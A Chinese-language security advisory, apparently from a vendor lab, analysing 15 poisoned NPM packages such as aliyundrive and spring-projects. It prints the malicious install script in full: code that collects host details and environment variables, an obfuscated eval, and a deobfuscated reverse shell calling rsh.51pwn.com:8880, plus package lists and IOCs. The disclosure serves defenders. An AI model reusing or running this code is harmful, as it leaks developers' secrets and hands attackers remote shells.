小心恶意NPM包让你成为51Pwn的肉鸡

10月31日,墨菲安全实验室监测到名为hktalent的开发者在NPM中央仓库发布了aliyundrive、spring-projects 等15个NPM投毒包,组件包通过混淆进行反检测,开发者难以发现隐藏的恶意代码。

其中 aliyundrive 组件包仿冒了阿里云盘名称,国内用户开发者在使用阿里云盘过程中有可能中招。

当用户安装时会窃取用户的操作系统、网络接口、主机等敏感信息,并与攻击者可控的C2服务器建立反弹shell,攻击者可远程在用户主机上执行任意系统命令。

目前NPM官方源尚未下架投毒包,建议用户及时排查,防止安装使用投毒组件。

投毒包详细分析

以 spring-projects 投毒包为例,当用户安装时会执行 package.json 中的 script 代码:"init": "node ./scripts/init.js",进而调用 script/rsh.js 中的恶意代码。

恶意代码的第一部分主要用于收集系统信息,在以下代码中用//进行注释说明:

//script/rsh.js
//第一部分
var os = require("os"),
    zlib = require("zlib"),
    bs = "u0062u0061u0073u0065u0036u0034",
filterNet = (o) => {
    var oR = {};
    for (var k in o) {
        if ("lo0" == k) continue;
        for (var i in o[k]) {
            if ("127.0.0.1" == o[k][i]["address"]) continue;
            if (o[k][i]["family"] == "IPv4" && o[k][i]["address"]) {
                oR[k] = o[k][i]
                break;
            }
        }
    }
    return oR;
},
rmKeys = (o, ...keys) => {
    for (var k in keys) {
        delete o[keys[k]];
    }
    return o;
},pkg =JSON.parse(require("fs").readFileSync("package.json").toString("utf8")),
zS = (s) =>zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs),
zO = (o) => zS(JSON.stringify(o, null, 2)),
uS = (s) => zlib.brotliDecompressSync(Buffer.from(s, bs)).toString(),
o = {
    "name": pkg.name,          //软件包的名称
    "version": pkg.version,    //软件包的版本号
    "pwd": process.cwd(),      //当前工作目录的路径
    "env": process.env,        //Node.js 进程的环境变量
    "platform": os.platform(), //操作系统的名称
    "arch": os.arch(),         //CPU 架构
    "release": os.release(),   //操作系统版本的发行号
    "type": os.type(),         //操作系统类型
    "uptime": os.uptime(),     //计算机的运行时间
    "hostname": os.hostname(), //计算机的主机名
    "cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")],    //CPU 信息
    "networkInterfaces": filterNet(os.networkInterfaces()),       //网口信息
    "freemem": os.freemem(),    //可用的物理内存
    "totalmem": os.totalmem(),  //总物理内存量
    "userInfo": os.userInfo()   //当前用户的信息
};
//第二部分
let s = zO(o), u0073u0031 =uS(`G/sCIJwHtg1sfVPqObPQC6WsmlPZnVOfAqCQlUG+AJay52WlQRR23HYKiwLI/7ncvQM75zP689ZqjKlrgZVYcYBp1gM8R5zV4glyFKt+CPgOAIT7ekBlFUzW87zjyA6CooEMdzcFs33O/t2tAXawBJUI9pOdw8hOkS4DYLG9xHRAeDZ5ZXbs1oL+Z+k+M2aA4HzxpZD/VAbL7E8erim7UfCx9F/Y4+yCKMrUklhDVFoCdwwQYsUTOxl/nc+gLuTlglxBdupg+2xUfQt7zegHtGsz5GkVkFMdVd6qgszOQWOzY8FtLc/U7KSvB2Q4l4yGpcavIeSsCiZV7YQM5X3KWTMz8v1g55Yld/RldQTkyU91zlOFCeelQqC8qAIL4vEXNhgs2suqFHoQstfjXJpvHFgV0v7Bf8f7X38+oji8qZQUEG8LimNT5MDFKHJ5efBeZkZVIAKCp7gdzI60KAs=`);
u0070u0072u006Fu0063u0065u0073u0073.u0065u006Eu0076.u004Eu004Fu0044u0045u005Fu004Eu004Fu005Fu0045u0056u0041u004C = undefined;
u0065u0076u0061u006C(u0073u0031);

进而将收集的主机敏感信息发送到攻击者可控的服务器地址:

小心恶意NPM包让你成为51Pwn的肉鸡

恶意代码的第二部分通过Unicode编码进行混淆,经过反混淆后的代码为:

var config = {
    host: "rsh.51pwn.com",
    port: 8880
    },net = require("net"),
    cp = require("child_process"),client = new net.Socket(),
    reConn = () => {client.connect(config.port, config.host)};
client.on("connect", () => {
    var command = (process.platform === "win32" ? "cmd /c start /b cmd" : "/bin/sh").split(" "),
    sh = cp.spawn(command[0], command.slice(1));
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    client.write("51pwn_npmn");
    client.write(s + "n");
    sh.on("exit", (code) => {
        if (code === 1) {
            reConn()
        }
    })
});
client.on("close", () => {reConn()});client.on("error", (e) => {});
reConn();
process.on("exit", () => {process.exitCode = 0;reConn()});

代码会与攻击者可控的C2服务器建立反弹shell,进而接收攻击者可控的系统命令:

小心恶意NPM包让你成为51Pwn的肉鸡

攻击者的C2服务器接收到受害者主机的反弹shell

涉及投毒包

包名版本
xterm-addon-clipboard[6.0.2,6.0.4]
rocketmq-site[6.0.2,6.0.4]
aliyundrive[6.0.3,6.0.4]
commons-skin[3.0.2,6.0.4]
echarts-www[3.0.2,6.0.4]
linkis-website[3.0.2,6.0.4]
scan4all[3.0.0,6.0.4]
spring-projects[6.0.2,6.0.4]
www-site[3.0.2,6.0.4]
unieap[2.2.1,6.0.4]
unieap-android[2.2.1,6.0.4]
unieap-cloud[2.2.1,6.0.4]
unieap-ios[2.2.1,6.0.4]
yinhai[3.0.2,6.0.4]
unieap-spring[2.2.1,6.0.4]

IOC地址

域名IP
rsh.51pwn.com65.49.208.113

参考链接

  • https://github.com/hktalent/51Pwn-Platform
(0)
上一篇 2023年10月7日 下午8:28
下一篇 2024年4月1日 下午5:55

相关推荐

  • com.itextpdf:itextpdf 组件安全漏洞及健康度分析

    文章更新时间:2023-09-28 11:23 组件简介 维护者 itext 组织 许可证类型 AGPL-3.0 首次发布 2011 年 4 月 29 日 最新发布时间 2022 年 2 月 25 日 GitHub Star 1524 GitHub Fork 447 依赖包 340 依赖存储库 7,964 com.itextpdf:itextpdf 是一个用…

    2023年9月28日
    0
  • com.google.inject:guice 安全漏洞及健康度分析

    文章更新时间:2023-09-18 15:30 组件简介 维护者 Google 组织 许可证类型 Apache-2.0 首次发布 2010 年 12 月 10 日 最新发布时间 2023 年 5 月 12 日 GitHub Star 12142 GitHub Fork 1651 依赖包 4,984 依赖存储库 28,555 描述:Guice是Google开发…

    2023年9月18日
    0
  • CuteBoi:超过 1200 个 NPM 包加入挖矿逻辑

    事件简述 近日,checkmarx研究人员公开了一起涉及众多包的NPM软件供应链攻击事件。事件最早可以追溯到 2021年12月,攻击者投放了1200多个包含混淆加密的恶意 NPM ,这些包拥有相同的挖矿脚本(eazyminer),该脚本的目的是利用如 Database和 Web 等所在服务器的机器闲置资源进行挖矿。 攻击事件分析 攻击手法 CuteBoi 主…

    2023年8月9日
    0
  • com.graphql-java:graphql-java 组件安全漏洞及健康度分析

    文章更新时间:2023-09-27 16:20 组件简介 维护者 graphql-java 组织 许可证类型 MIT 首次发布 2018 年 6 月 4 日 最新发布时间 2021 年 5 月 23 日 GitHub Star 5933 GitHub Fork 1118 依赖包 365 依赖存储库 1,689 com.graphql-java:graphql…

    2023年9月27日
    0
  • com.ibm.icu:icu4j 组件安全漏洞及健康度分析

    文章更新时间:2023-09-28 11:20 组件简介 维护者 unicode-org 组织 许可证类型 Unicode-TOU,ICU 首次发布 2006 年 2 月 21 日 最新发布时间 2023 年 6 月 13 日 GitHub Star 2136 GitHub Fork 692 依赖包 699 依赖存储库 6,271 com.ibm.icu:i…

    2023年9月28日
    0